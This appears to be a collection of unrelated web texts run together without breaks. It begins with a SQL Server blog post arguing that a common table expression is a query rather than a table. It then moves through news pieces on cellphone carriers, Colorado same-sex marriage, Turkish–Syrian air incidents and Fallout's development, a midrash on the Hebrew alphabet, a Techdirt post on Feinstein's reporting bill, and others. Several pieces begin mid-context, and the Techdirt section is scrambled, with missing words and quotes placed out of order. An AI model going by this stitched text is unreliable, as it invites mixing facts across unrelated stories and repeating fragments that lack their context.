WITH MyCTE AS (SELECT c.CustomerName, cc.CustomerCategoryName FROM Sales.Customers AS c JOIN Sales.CustomerCategories AS cc ON cc.CustomerCategoryID = c.CustomerCategoryID WHERE c.CustomerCategoryID = 4) SELECT * FROM MyCTE; 1 2 3 4 5 6 7 8 9 WITH MyCTE AS ( SELECT c . CustomerName , cc . CustomerCategoryName FROM Sales . Customers AS c JOIN Sales . CustomerCategories AS cc ON cc . CustomerCategoryID = c . CustomerCategoryID WHERE c . CustomerCategoryID = 4 ) SELECT * FROM MyCTE ;
Now, I’m going to run the query within the CTE and the CTE together as two statements in a batch and capture the execution plans:
On the top, the CTE, on the bottom, the query. You’ll note that the execution plans are identical. They each have the exact same Query Plan Hash value in the properties, 0x88EFD2B7C165E667, even though they have different Query Hash values, 0x192FFC125A08CC35 and 0xFEB7F2BCAC853CD5, respectively. Further, if I capture the query metrics using extended events, I get identical reads and, on average, identical execution times:
This is because, there is no table being created. The data is not treated differently. A CTE is just a query, not some type of temporary storage.
Heck, let’s do one more thing. Let’s use the latest SSMS plan comparison tool and highlight one of the operators to see what differences there are internally in the plan:
I don’t see a lot of differences. In fact, I don’t see any. That’s because the optimizer recognizes these two queries as identical. If it was loading data into temporary storage, you would see differences in something. We don’t. This is because, despite the somewhat unfortunate emphasis that gets placed on the Table portion of the name, the emphasis of the name, Common Table Expression, should be on the word Expression.
I will point out an interesting difference, especially useful for those who plug in CTEs everywhere, whether it’s needed or not. Let’s look at the properties of the two plans:
You can see the similarities and differences that I pointed out earlier in the Statement, Query Hash and Query Plan Hash, as well as the Estimated Subtree Cost and others. What’s truly interesting is that the CompileCPU, CompileMemory and CompileTime for the CTE is higher than the regular query. While the CTE is just a query, it’s a query that adds a non-zero overhead when used, and therefore, should only be used where appropriate (good gosh, I’ve seen people put it EVERWHERE, on every single query, don’t do that).
Hopefully, this is enough to establish, truly, completely, and thoroughly, that the Common Table Expression is an expression, not a table.
Yeah, I did this before, but it keeps coming up, so I tried a different approach. Let’s see if the word gets out. Your Common Table Expression is not a table.
I love talking about execution plans and query tuning. I’ll be doing this at an all day pre-con at SQLServer Geeks Annual Summit in Bangalore India.
Don’t miss your chance to an all day training course on execution plans before SQL Saturday Oslo in September.
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It's become such a pain to deal with cellphone service providers that one Verizon customer faked his own death last summer just to get out of his contract. Fed up with dropped calls and poor service, Corey Taylor asked a friend to send Verizon a fake death certificate in hopes of getting out of paying an early termination fee. "I thought, what have I got to lose, besides a cellphone I despise?" Taylor, a Chicago consultant, told The Washington Post. Eventually, however, Verizon discovered the death certificate was fake and forced him to pay up.
Taylor's stunt was extreme; most customers just complain. But now service providers are fighting back against excessive whiners. Last year, Sprint-Nextel terminated the contracts of close to 1,000 subscribers simply because they complained too much. "The number of inquiries you have made to us during this time has led us to determine that we are unable to meet your current wireless needs," Sprint-Nextel said in a letter to the customers it dropped.
It comes as no surprise then that the University of Michigan's Ross School of Business ranked Sprint-Nextel as the worst of the four major U.S. service providers, scoring a 58 out of 100 on its American Customer Satisfaction Index. Since its merger with Nextel in 2005, Sprint's rating has dropped 11 points. Company spokesman Lloyd Karnes attributed this to "staffing challenges."
The annual index asks consumers to rate companies on a scale of zero to 100. This year, Sprint came in last with a miserable 58, reflecting its poor service and performance of the past few years. AT&T and T-Mobile both scored 71, each gaining four points since 2007. Verizon, the leader of the group, scored 72, up one point from last year.
Despite its less than stellar reputation, Sprint-Nextel may finally be turning around. The company has made several improvements to its service. For instance, it calls customers three times during a 12-month period to make sure that service is up to par. Business customers are now given a personal support contact to reach whenever there is a problem.
In addition to improved customer support, Sprint-Nextel has taken the lead on flat-rate pricing initiatives. It was the first to offer a $99 plan that includes unlimited voice, data, Web browsing, text messaging and video. (See "Calculating Your Phone Bill.")
Five years ago, wireless customers only wanted decent coverage and call quality at low rates. Today, affordable access to 3G data networks, e-mail on the go and the ability to watch mobile TV rank among the most wanted services. Verizon, AT&T and T-Mobile will likely follow suit in the near future to remain competitive, industry experts say.
And while customer service may still be slow and irritating at most call centers, early termination fees will soon be prorated.
Another big step: Most operators have plans to open up their networks by the end of the year to a plethora of phone manufacturers, allowing customers to keep their mobile device even if they switch carriers. So you might be able to use that cool, new phone you got at a discount for signing a service contract with T-Mobile, for instance, on AT&T's network.
With all the improvements of the past year, 2008 may finally be the year that wireless companies lose their terrible reputations.
Star Wars: Trials on Tatooine will be available on Vive from July 18, HTC has announced. The VR experience, which is playable at Star Wars Celebration, will be available to Vive owners for free through Valve's Steam store.
"Developed under the guidance of Rob Bredow, Lucasfilm's chief technology officer, and co-written by Bredow and Star Wars canon-keeper Pablo Hidalgo, Trials on Tatooine allows you to truly step into the Star Wars universe for the first time," reads a press release. "Now anyone with a Vive can pick up a lightsaber and help defend a galaxy far, far away."
A trailer for Trials on Tatooine first leaked in March and showed an impressive "cinematic virtual reality experiment" developed by Industrial Light and Magic, the studio behind the special effects in the Star Wars series.
As shown in that trailer, Trials on Tatooine will let players use the Vive controller to wield a lightsaber. Players take control of a Padawan helping Luke Skywalker rebuild the Jedi Order, following the defeat of Darth Vader and the Emperor.
The scene bears certain similarities to the real-life case of Ruslan Sokolovsky, the young video blogger who filmed himself last summer playing Pokemon Go inside a Russian Orthodox cathedral in Yekaterinburg, and then uploaded the video to YouTube. Sokolovsky, an atheist, says he wished to challenge warnings in the news that such actions could be considered a crime against “religious sentiments.” Last September, he was arrested for the stunt, and he faces a 3.5-year criminal sentence, if convicted. The verdict is expected later this month.
Mitchell Sunderland, who at the time he sent emails to Yiannopoulos was managing editor of Broadly, was spotted departing Vice’s offices with a box of his belongings. (Mic saw a photo of Sunderland departing.)
A Vice spokesperson confirmed to Mic that Sunderland was let go Friday, and that Vice is continuing to look into the matter.
On Thursday, BuzzFeed published a massive report about Breitbart and its relationship to white nationalists and the alt-right. In the piece, BuzzFeed reporter Joe Bernstein identified several members of mainstream and left-leaning media outlets who were part of an email chain in which members mocked stories about social justice and liberal causes, pitched ideas to and “tipped” Yiannopoulos story ideas.
The part of the report concerning Sunderland read:
“A long-running email group devoted to mocking stories about the social justice internet included, predictably, Yiannopoulos’s friend Ann Coulter, but also Mitchell Sunderland, a senior staff writer at Broadly, Vice’s women’s channel. According to its “About” page, Broadly “is devoted to representing the multiplicity of women’s experiences. … we provide a sustained focus on the issues that matter most to women.”
“Please mock this fat feminist,” Sunderland wrote to Yiannopoulos in May 2016, along with a link to an article by the New York Times columnist Lindy West, who frequently writes about fat acceptance. And while Sunderland was Broadly’s managing editor, he sent a Broadly video about the Satanic Temple and abortion rights to Tim Gionet with instructions to “do whatever with this on Breitbart. It’s insane.” The next day, Breitbart published an article titled “‘Satanic Temple’ Joins Planned Parenthood in Pro-Abortion Crusade.”
A Vice spokesperson told BuzzFeed in a statement at the time that the company was reviewing the issue.
Because 2010's MacGruber wasn't enough, New Line is moving forward with their feature adaptation of MacGyver. Horror auteur James Wan (Insidious, Saw) is now in talks to direct the film, reports Variety.
Based on the 1980s television series, MacGyver starred Richard Dean Anderson as the fictional government agent of the same name, who would use his wits and whatever was laying around to fight bad guys. As of right now, no plot details have been divulged, but expect the involvement of a paper clip, some chewing gum and a piece of string.
Raffaella and Martha De Laurentiis will produce the pic through their Dino De Laurentiis banner, along with Lee David Zlotoff. Wan, meanwhile, recently wrapped on New Line's The Conjuring, which is scheduled to hit theaters this summer.
Exit Theatre Mode
According to midrash, the LORD God Himself taught the alphabet (along with the numerical values, mathematical relationships, etc. for the letters) to Adam ha-rishon, who then transmitted this knowledge to his sons, and they passed this to their sons, and so on, until it was taught to Jacob at the School of Shem in Salem (later renamed Jerusalem). Jacob taught the secrets of the alphabet to Joseph, who used it to decipher dreams, etc.
The Jewish mystics go so far as to say that the entire cosmos was created from the 22 consonants of the Hebrew Aleph Bet, called otiyot yesod (אוֹתיּוֹת יְסוֹד) or "foundational letters." Through the otiyot yesod God formed substance out of chaos and brought forth existence from nonexistence. In other words, the entire universe is created and sustained by divine language (the Word of God). When the LORD spoke the universe into existence, His words still echo throughout all of creation, sustaining it and preserving it in being.
Rabbi Oshaya taught: When a human king builds a palace, he does not build it with his skill alone; the king employs a builder. Moreover, the builder does not bring it out of his own imagination, but consults a blueprint - a plan and diagram - to know how to arrange the chambers, doors, and passageways of the palace. In the same way, God as both King and Builder consulted Torah and then created the world.
- Midrash Genesis Rabbah 1:1
Yeshua the Mashiach is called devar Elohim (דְּבַר אֱלהִים), the Word of God, and the Aleph and Tav (אָלֶף וְתָו), Who upholds all of the created order by the word of His power. It is the Mashiach Yeshua alone Who is the true yesod (יְסוֹד) or foundation of life itself. Every holy utterance can be traced back to Him, and He is the Source and Origin of all that is good, lasting, and righteous. Indeed, Yeshua is called "the zohar of His glory" (הוּא זהַר כְּבוֹדוֹ), that is, the radiance of the glory of God Himself, who "upholds all things by the word of His power" (נוֹשֵׂא כל בִּדְבַר גְּבוּרָתוֹ) (see Heb. 1:3). Since He is the First and the Last, we can see that the otiyot will all reveal something about Him.
But they've stopped short of dropping their support for the presidential nominee roughly a month before the November election.
Reid, however, questioned if Republicans aren't willing to cut ties with Trump — who he called a "sociopath" and a "racist" — “what will it take for Republicans to walk away from Trump?"
"This is a moment of truth for Republicans. It is time for every Republican elected official in this county to revoke their endorsements of Donald Trump and state that they will not vote for their party's nominee, who has been caught on tape bragging about routinely sexually assaulting women. There is no way to defend the indefensible," he said.
The outgoing Senate Democratic leader is the latest Democrat to seize on Trump's comments Friday, arguing GOP senators have to walk away from their nominee.
Republicans are defending 24 Senate seats in November, and have walked a fine line with Trump: Distancing themselves from his controversies while refusing to cut ties with him and his base of voters that they will need to win reelection.
All of it came to an abrupt and unexpected conclusion on Monday when the U.S. Supreme Court declined to hear all appeals on same-sex marriage.
The decision led Colorado Attorney General John Suthers — who successfully shut down three clerks who began issuing licenses this summer — to say that same-sex marriage will be legal in Colorado and all 64 county clerks must issue licenses to gay couples.
Suthers urged clerks to wait for lingering legal technicalities to be resolved before they begin issuing licenses. But clerks in Pueblo and Larimer counties began issuing marriage licenses hours after the high court announced its decision.
“I felt like Suthers did not have the authority to tell us when we could or when we couldn’t start issuing the licenses,” said Pueblo County Clerk and Recorder Gilbert Ortiz. “We were well within the rights of the Constitution to issue these marriage licenses.”
Stacey Nowlin and Leona Rogers — apparently the first same-sex couple to receive a license in Colorado since the high court’s action — were married at the Pueblo office around noon.
The 10th U.S. Circuit Court of Appeals, which includes Colorado, overturned Utah’s ban on same-sex marriage on June 25. The court also issued a stay, and the case was appealed to the U.S. Supreme Court. It was the first federal appeals court to rule on the issue.
The high court’s decision not to hear the case effectively makes the appeals court’s ruling final and legalizes same-sex marriage in Colorado and five other states. The 10th Circuit quickly lifted the stay in the Utah case.
Every federal appeals court that has considered the issue has followed the 10th Circuit’s lead and struck down bans on same-sex marriage.
Suthers and some proponents of same-sex marriage agreed on at least one thing Monday: They were disappointed the Supreme Court did not settle the issue once and for all.
“This prolongs the uncertainty on a national basis,” Suthers said.
Suthers joined other attorneys general in two requests to the Supreme Court asking the justices to decide the issue. Without a decision that addresses the constitutionality of same-sex marriage, couples may still be affected if the Supreme Court picks up the case in the future, Suthers said.
Michelle Alfredsen, one of the plaintiffs in the pending state case, said she would have preferred the Supreme Court hear the case, but that didn’t lessen her joy or excitement on Monday.
“I’m officially Mrs. Alfredsen,” she said. “We are basking in this moment and celebrating that our children will not have to take on this fight.”
Alfredsen and her wife, Wendy, were the first couple to receive a license this summer when Boulder County Clerk and Recorder Hillary Hall started issuing same-sex marriage licenses. Hall began issuing the marriage licenses hours after the 10th Circuit overturned Utah’s ban.
In the weeks that followed, Hall ignored deadlines and requests from Suthers, who said he worried the licenses may not be valid, to stop issuing the certificates. Ortiz and Denver County Clerk and Recorder Debra Johnson joined Hall after a Boulder District Court judge denied Suthers’ request to stop her.
In just over a month, about 350 same-sex marriage licenses were issued in Colorado.
The Colorado Supreme Court ordered Johnson to stop issuing the licenses on July 18, and Suthers persuaded Ortiz to stop shortly after. But it took more than a week and two additional court orders before the state Supreme Court ordered Hall to stop.
Most clerks on Monday waited for the go-ahead from Suthers. But Johnson and Hall may have to wait a little bit longer than others as attorneys work to lift the injunctions filed against them.
“I would say that there’s some irony that being one of the first, now we’re one of the ones waiting,” Hall said. “I think it was important for us to do what we did because marriage is a fundamental right, and it’s just a matter of a day or so before we start issuing licenses again.”
Suthers filed joint motions with Hickenlooper and clerks in Adams, Boulder, Denver and Jefferson counties asking the 10th Circuit and the Colorado Supreme Court to lift stays in pending cases. They also filed a request to have cases in federal court and Adams and Boulder counties dismissed.
Suthers advised couples who received their marriage licenses this summer — before the Supreme Court’s action — to get a second marriage license. Doing so, Suthers said, will prevent anyone from questioning their license’s validity in the future.
The Colorado Department of Public Health and Environment revised and released a new version of the state’s marriage license several weeks ago. The form no longer requires someone to sign as the bride or groom.
Alfredsen said she does not feel she should have to get a second license, but would do so if her attorney suggested it.
“I’ve vowed to marry my wife over and over and over again until it was legal,” Alfredsen said. “I will marry her one more time.”
Kate Burns and her partner, Shelia Schroeder, are plaintiffs in the federal lawsuit. Burns, who was arrested in 2007 and went to jail in 2009 after failed attempts to receive a same-sex marriage license in Colorado, was overwhelmed with gratitude and redemption on Monday.
“I am shaking with emotion,” Burns said. “Today, I don’t have to go to jail.”
Jordan Steffen: 303-954-1794, jsteffen@denverpost.com or twitter.com/jsteffendp
Staff writers Kieran Nicholson and Elizabeth Hernandez contributed to this report.
How same-sex marriage is unfolding outside Colorado
The Supreme Court on Monday effectively legalized gay marriage in 11 more states — including Colorado — for a total of 30 states, when it rejected a set of appeals. As many as 60 percent of Americans now live in states where same-sex marriage is legal.
INDIANA
Gov. Mike Pence reaffirmed his commitment to traditional marriage on Monday but said he will follow the law regarding unions of same-sex couples. Pence said people are free to disagree with the U.S. Supreme Court’s decision to reject an appeal of a ruling striking down Indiana’s gay marriage ban. But he said people are not free to disobey the decision. County clerks have issued a few licenses to same-sex couples but say they’ve seen no mention of Monday weddings.
KANSAS
The Sedgwick County Courthouse is turning away same-sex couples seeking to get a marriage license after the U.S. Supreme Court on Monday cleared the way for such unions. Kerry Wilks and Donna Ditrani went to the courthouse in Wichita with their minister on Monday to get a marriage license. After the clerk refused to give them paperwork to get a license, the couple said they’d be happy to be plaintiffs in a lawsuit expected to be filed by the American Civil Liberties Union challenging the Kansas ban.
NORTH CAROLINA
The American Civil Liberties Union of North Carolina says it will file a request seeking an immediate ruling from a federal judge overturning the state’s ban as unconstitutional. North Carolina Attorney General Roy Cooper has previously said that a federal appeals court ruling overturning Virginia’s ban is binding in his state and that he does not intend to file any further appeals or seek delays.
OKLAHOMA
Mary Bishop and Sharon Baldwin were among the same-sex couples in Oklahoma who were issued marriage licenses Monday. The two were plaintiffs in a challenge to Oklahoma’s ban on gay marriage, which was overturned by a federal appeals court earlier this year. The Tulsa County Court Clerk’s Office issued the couple a license Monday afternoon. Bishop and Baldwin said they planned to have a wedding ceremony later Monday in Tulsa. Same-sex marriage licenses also were issued to couples in several other Oklahoma counties Monday.
SOUTH CAROLINA
South Carolina Attorney General Alan Wilson said he will continue to fight to uphold the state constitution’s ban on gay marriage. He pointed out that a judge has not ruled on a lawsuit by a gay couple legally married in Washington, D.C., seeking to overturn the South Carolina gay marriage ban. Carrie Warner, a lawyer for the same-sex couple, said she will soon file paperwork asking a federal judge to immediately rule in their favor. The attorneys said they hope the state will realize that money spent fighting the ban could be used in other ways.
UTAH
Gay couples in Utah began applying for marriage licenses Monday, and a handful of same-sex weddings occurred in Salt Lake County. Gov. Gary Herbert directed state agencies to recognize the marriages. Troy Williams, the executive director of the LGBT advocacy group Equality Utah, said the organization is overjoyed for the families involved.
VIRGINIA
Gay couples have started marrying in Virginia. Lindsey Oliver and Nicole Pries received the first same-sex marriage license issued from the Richmond Circuit Court Clerk’s office shortly after 1 p.m. Upon leaving the courthouse, they were married by a gay-rights advocate, the Rev. Robin Gorsline. The couple said Monday also was the anniversary of a commitment ceremony they held on a North Carolina beach three years ago.
WEST VIRGINIA
Attorney General Patrick Morrisey, a Republican, said he is still figuring out how the state’s case will be affected. “In light of the U.S. Supreme Court’s surprising decision to not review this matter, we are analyzing the implications for the West Virginia case,” spokeswoman Beth Gorczyca Ryan said in an e-mail.
WISCONSIN
County clerks were accepting applications for marriage licenses from gay couples on Monday, but relatively few were submitted. In Milwaukee and Dane counties, where most of the roughly 500 same-sex weddings took place in June before a federal judge’s decision was put on hold, only three or four applications were turned in. Dane County Clerk Scott McDonnell said he thought most same-sex couples who did not marry last summer would likely take their time planning weddings. And even those who wanted to tie the knot quickly were unlikely to do so Monday. Wisconsin has a five-day waiting period to receive a marriage license after an application is made.
WYOMING
A state district judge has scheduled a Dec. 15 hearing on the request by three same-sex couples and Wyoming Equality to grant the right to marry. The Wyoming case is similar but not identical to those in federal court, and those fighting for gay marriage in Wyoming were hesitant to declare unconditional victory. But same-sex marriage could be legal in Wyoming by year’s end.
The new version of our mod adds 6 new weapons:
Stick of Dynamite (Blood Alpha),
Electric Pitchfork,
Shadow Gun (Blood Alpha),
Naturom Demonto (Book of magic),
Flamethrower,
Submachine gun.
Other weapons have been more or less changed, so you should try them too ;).
Both revolvers have interruption feature disabled and they deal more damage now,
Life Leech has a new alternative fire animation (but it can be disabled if a player wishes that),
Alpha napalm Launcher uses a different projectile,
Alpha sawed-off has faster reload animation,
Wrath Heart now does random damage (electric, spirit, basic), its altenative fire doesn't deplete all ammo and it does explosive damage,
Beast Claws uses random fire animation,
Axe uses random fire animation,
Lupara has shell ejection,
Riot shotgun uses incendiary rounds,
Triple DZ deals less damage.
Balance of ammo count for some weapons
Without further talking, just go to download section and try our new version!
The new artwork debuts less than a week before the highly-anticipated season premieres on Netflix on Friday, Oct. 27, and it showcases all your favorites, plus some new characters.
Millie Bobby Brown's Eleven takes center stage, with her curly new 'do and an aura of epic power, topped off by the terrifying Shadow Monster that poor Will Byers (Noah Schnapp) may or may not have brought back with him after his time in the Upside Down.
RELATED: 'Stranger Things' Second and Final Trailer for Season 2 Is Here & It's Turning Our World Upside Down -- Watch!
Speaking of Will, he's just below Eleven on the poster, with his mom Joyce (Winona Ryder) and Sheriff Hopper (David Harbour) to his left, looking confused and concerned.
Hair icon Steve Harrington (Joe Keery) looks ready for battle, wielding a baseball bat with some barbed wire around it, with girlfriend Nancy Wheeler (Natalia Dyer) close behind.
Newcomers Billy (Dacre Montgomery) and Max (Sadie Sink) are also just off to the side, about to be pulled into the spooky world of Hawkins, Indiana.
RELATED: Winona Ryder Says She ‘May Have Gone Too Far’ With ‘Stranger Things’ Character, Talks ‘Overwhelming’ Response
And just behind the logo is our beloved bike-riding, D&D-playing trio: Dustin (Gaten Matarazzo), Mike (Finn Wolfhard), and Lucas (Caleb McLaughlin), wearing their Ghostbusters Halloween costumes.
The whole poster has a throwback vibe, along with some spooky, vine-covered pumpkins just in time for Halloween. There's also a mysterious car in the poster, and a sign for the arcade where Will had one of his terrifying visions of the Shadow Monster in the first trailer.
EXCLUSIVE: 'Stranger Things' Creators Tease What Fans Can Expect From 'Spookier, Scarier & Bigger' Second Seas
Earlier this month, ET spoke with The Duffer Brothers, the masterminds behind Stranger Things, who teased that this season's villain will be truly "phenomenal."
Missile lock-on systems deployed in Syria harassed five Turkish F-16 fighter jets on Tuesday, the second such incident since a Syrian warplane was shot down by F-16 pilots on Sunday after violating Turkey's airspace, according to a statement from Turkish Military headquarters on Tuesday.
The incident occurred when the five Turkish Air Force jets were patrolling the Turkey-Syria border and four Syrian jets approached Turkey's airspace. The Syrian fighter jets left the area without violating Turkish airspace.
Meantime, Syrian ground missile lock-on systems tracked the Turkish jets twelve times for ten minutes as they flew over Turkey's southern Hatay province, added the statement.
Missile lock-on is the guidance system for a missile that can accurately track a target, and a fire-control system that can calculate the required flight path for the missile to intercept the target.
In Sunday's incident, a Syrian fighter jet was shot down near the northwestern Syrian town of Kasab as clashes along the Turkish-Syrian border intensified.
A statement from the Turkish Foreign Ministry on Monday underlined that the Syrian regime did not adhere to the Turkey-Syria border commission meetings protocol, signed May 9, 1971, which bans aircrafts from either side getting any closer than five kilometers to their shared border.
Meanwhile, a statement from the Russian Foreign Ministry urged Syria and Turkey to show restraint and not let the situation escalate.
Back in 2012 Syria shot down a Turkish warplane after it reportedly violated Syrian airspace and killed two pilots.
Turkey shot down a Syrian MI-17 attack helicopter last September, saying it made a 2-km incursion into its airspace.
Cain, working at game development studio Interplay, created the engine and most of the design for the game that would later spawn three direct sequels. He worked on it, by himself, noodling with the mechanics of the design and incorporating a then-popular pen and paper role-playing system created by Steve Jackson called GURPS. Later, Cain enlisted help from fellow employees at Interplay who would work with him on the game in their spare time.
Cain says producers on other Interplay games would get mad because he was distracting people from working on their games. But from the beginning he says that everyone involved knew they were working on something special.
The story of Fallout is a classic example of a new idea nurtured by a small, dedicated team working against seemingly insurmountable odds.
For six months, starting in 1994, Cain built the engine alone. He was given no money and no resources — only time — to devise what would become the backbone of Fallout.
Then he got a writer. Then an artist.
"Life is cheap and violence is all there is."
Then, slowly, over the course of the next three years, Cain assembled a team of 30 who, over pizza on late nights, built what would become one of the most influential games of its time, and one of Interplay's best-loved hits. Quality Assurance testers worked for free on weekends.
Fallout, considered a "risk" by Interplay, became a hit, leading to creation of three direct sequels including Bethesda's smash hit Fallout 3, one of the best-selling games of 2008 and winner of "Game of the Year" at the 2009 Game Developers Choice Awards. Success due in large part to the vision and style of the original game.
Early in the development, team member Chris Taylor put into words what they were trying to accomplish with Fallout. His "Mission Statement" document is now legend among Fallout developers, and Cain cites it as a major reason why the game came together at all.
"This is the wasteland," wrote Taylor. "Life is cheap and violence is all there is."
At one point during development of Fallout, Cain says Interplay marketing tried to warn him that the game would be too depressing. Cain would remind them: "everybody is dead. It's supposed to be depressing."
Cain says the game was designed as a top-down experience, not just a game. Every element of the product was intended to enhance the feeling of immersion in the Fallout world, from the packaging which was envisioned as a lunchbox you would find in the game world, to the Interplay logo the team created form scratch, to the manual which was written and designed as if it were given to you as a vault dweller preparing to venture into the wasteland.
The "Fallout style," however, was heavily influenced by late Atomic Age literature and media. Cain lists, among the myriad influences on Fallout, such movies as Mad Max, A Boy and His Dog and Forbidden Planet. The idea of an underground vault actually came from the Don Johnson film, A Boy and His Dog, which features an underground base that Johnson and his telepathic canine friend must penetrate. While the goofy, 50s-era look and feel of Fallout's "advanced" technology was inspired by the space opera Forbidden Planet. Cain says he wanted robots in Fallout to be like Robbie the Robot, not like the Terminator.
Interestingly, the post-apocalyptic theme wasn't Cain's first choice for what to do with his new game engine. He says his first idea was to make a fantasy game, just like everybody else. His second idea: time-traveling dinosaurs. Players would travel through time, fly into space and rescue the girl. It's shocking now to hear, but this concept actually gained a lot of traction before Fallout developers decided to shoot for the apocalypse.
The name "Fallout" was also a late development. Cain says he and the rest of the team favored the much more descriptive title "Vault 13," but this was nixed by marketing, who instead wanted to call the game Post Nuclear Adventure. Cain credits Brian Fargo with the idea to call the game Fallout. According to Cain, Fargo spent a weekend with an early build of the game, then, on Monday dropped the disc on Cain's desk and said "You should call this Fallout."
Almost fittingly, the Fallout team was forced to fight for its survival. The now-legendary game was threatened with extinction on three separate occasions and saved only through extreme effort on the part of Cain and his crew. And in one instance, he actually had to beg.
The first threat to Fallout's existence came when Interplay acquired the licenses to the Forgotten Realms and Planescape Dungeons & Dragons franchises. The studio immediately began planing for a raft of D&D inspired games utilizing these popular worlds, and Fallout, then considered expendable, was put on the chopping block. Cain says he literally begged Interplay executives to give his game a chance and, shockingly, they relented. Development continued.
"Everybody is dead. It's supposed to be depressing."
The second threat came in the form of Blizzard's massively popular isometric, multiplayer, real-time RPG Diablo. After the release of Diablo, and it's immediate commercial success, Interplay execs began pressuring Cain to convert Fallout, which was designed from the ground up as a turn-based single player game, to multiplayer and real-time.
"That wasn't going to happen," Cain said. Instead, he again convinced Interplay execs to give his game as originally envisioned a chance. He said development on the game ground to a near halt as he and his team created feasibility studies and painstakingly walked Interplay through their vision for Fallout.
In the end, Interplay again relented, but Cain says it was not a sure thing. Diablo very nearly killed Fallout.
The final and perhaps most critical assault on Fallout came directly from Cain's original partner on the game system: Steve Jackson Games, creator of the GURPS role-playing system. Cain said that SJG couldn't et behind the ultra-violence and dark humor of Fallout and pulled out at almost the last minute.
Although Cain says the conversations with SJG and Interplay were "above his pay grade," the task of working around the sudden absence of GURPS fell squarely on his and Chris Taylor's laps.
Taylor was given a week to re-create Fallout's rule system, and Cain was given an extra week in addition to code. it. Cain says his memory of that period was very hazy, but he recalls a lot of late nights and "smelling bad." He says he doesn't know how they did it, but the meat of the Fallout skill and rule system was essentially created in those two weeks.
Although there were a number of problems with the game that Cain acknowledges are embarrassing (like the flaws in the follower AI that would cause them to repeatedly spray you with gunfire), the one thing Cain wishes he could take back was the decision to put a time limit on the original game's main mission., the quest for the water chip.
Cain says that this time limit was a bone of bitter contention even within the development team. He had intended it as a way of enhancing the urgency of the mission, but he admits that it prevented players from diving in to the world and experiencing it at their own pace.
from the it-was-a-bad-idea,-drop-it dept
“We’re in a new age where terrorist groups like ISIL are using social media to reinvent how they recruit and plot attacks,” Senator Feinstein said. “That information can be the key to identifying and stopping terrorist recruitment or a terrorist attack, but we need help from technology companies. This bill doesn’t require companies to take any additional actions to discover terrorist activity, it merely requires them to report such activity to law enforcement when they come across it. Congress needs to do everything we can to help intelligence and law enforcement agencies identify and prevent terrorist attacks, and this bill is a step in the right direction.”
“Terror groups have become adept at taking advantage of social media platforms to spread their message,” Senator Burr said. “Social media is one part of a large puzzle that law enforcement and intelligence officials must piece together to prevent future attacks. It’s critical that Congress works together to ensure that law enforcement and intelligence officials have the tools available to keep Americans safe. The stakes have never been higher and having cooperation with these outlets will help save lives here and abroad.”
Let’s make sure the record is clear: The Director of the FBI testified a few months ago that social media companies are ‘pretty good about telling us what they see.’ Social media companies must continue to do everything they can to quickly remove terrorist content and report it to law enforcement.
I’m opposed to this proposal because I believe it will undermine that collaboration and lead to less reporting of terrorist activity, not more. It would create a perverse incentive for companies to avoid looking for terrorist content on their own networks, because if they saw something and failed to report it they would be breaking the law, but if they stuck their heads in the sand and avoided looking for terrorist content they would be absolved of responsibility.
I’m for smart security policies. If law enforcement agencies decide that terrorist content is not being identified quickly enough, then the solution should be to give those agencies more resources and personnel so they know where to look for terrorist content online and who to watch, and can ensure terrorist activity is quickly reported and acted upon.
Why is this proposal such a bad idea? As we described in July, it would create a requirement for all electronic communication services – social media companies, as well as Internet service providers, web hosts, cloud services, and public libraries or coffee shops that offer WiFi access – to make reports about their users’ activity based on a completely opaque set of criteria. Creating such an obligation, with its vague parameters, would drive Internet companies to one of several likely responses. Some would decide to significantly over-report their customers’ information and private communications to the US government to ensure that the company stays on the right side of the law. Others would refuse to review any content that was flagged to them, for fear that doing so would mean they obtain the “actual knowledge of any terrorist activity” that triggers the reporting obligation.
Either of these outcomes pose major problems for the free expression and privacy of Internet users. It’s also far from clear that this would generate actionable information for law enforcement or intelligence agencies. Further, this type of reporting obligation would undermine any sense of trust between Internet users and the companies that provide the service providers that enable them to access information, conduct transactions, and share their perspectives online. The proposal would essentially deputize US-based Internet companies to act as agents of the government, including potentially requiring entities such as email services to turn over the contents of private communications if they are part of the “facts and circumstances” of alleged terrorist activities – for their users both in the US and abroad.
Earlier this year, Senator Dianne Feinstein, who seems to be an endless well of bad ideas around surveillance, started pushing a bill that would require internet companies to report to the government any content they suspected was posted by terrorists. This bill has all sorts of problems, not the least of which is that most of the major internet companiesalert the government to any terrorist-related content that they come across. But, bysuch reporting, it will only lead to these companies filing a bunch more reports -- much of which will be bogus, flooding the government with useless information, just to avoid running afoul of the law.Back in September, Senator Wyden successfully forced Feinstein to drop the bill...But, of course, in the wake of the Paris and San Bernardino attacks all bad ideas are back on the table, and Feinstein is bringing this one back as well . She's teaming up with the intelligence committee's other biggest cheerleader, Intelligence Committee boss Senator Richard Burr, to reintroduce the idea, and they put out a completely bogus statement that plays up the fearmongering angle as much as possible, about those darn ISIS people using social media.Neither of those quotes makes any sense. Again, most companies already report stuff, and mandating it will only lead to more bogus reports to avoid liability for the companies, while potentially leading toactive monitoring since they only have to report stuff if they come across it. As for Burr's assertion that this is necessary to give"the tools" to find this information -- that's a totally different issue. Doesn't law enforcement have computers? Can't they go to Twitter and Facebook and YouTube themselves and do searches?Senator Wyden has already spoken out on what a bad idea this is , and how it would doof what Feinstein and Burr are claiming:Meanwhile, CDT has gone much further in explaining why this is such an astoundingly dumb idea It's a bad idea and Feinstein knows it's a bad idea, because all of this has been explained to her multiple times in the past. So why is she still proposing it?
Filed Under: dianne feinstein, freakout, informant, richard burr, ron wyden, terrorism
The wacky sport can be traced back to July of 1992, when it was practiced during a cultural festival of art school graduates in Prague. Woodkopf (which literally translates to ‘wooden head’) is popular partly due to the fact that the game is simple, inexpensive and requires no complex equipment, but also because it never fails to supply a good dose of humor.
Photo: Unie Woodkopf
It is played by both men and women of all ages, and the rules are pretty simple. Both opponents must wear long, thin wooden boards of 200x16x2 cm, weighing between 3 and 4 kilograms. Once the boards are in position, the opponents try to knock each other’s boards off, using only plank-to-plank touches. No body-to-body or plank-to-body touches are allowed. The player who manages to knock down the opponent’s board twice in a row is declared the winner.
Photo: Unie Woodkopf
According to members of the Woodkopf Union, the best players are generally the taller ones. A bald head is also of great advantage, as pointed out by union chief Ivan Rezac.
Veteran Woodkopf players are now striving for the sport to be included in the Olympic Games. They strongly believe that it has a great future. Vladimir Cech, who has been playing for the past seven years, said: “We want it to become our national sport, and a part of Czech culture along with beer, pork, dumplings and cabbage.”
Women should get fewer mammograms — and have them later in life — the American Cancer Society said in the first review of breast-cancer-screening guidelines in more than a decade.
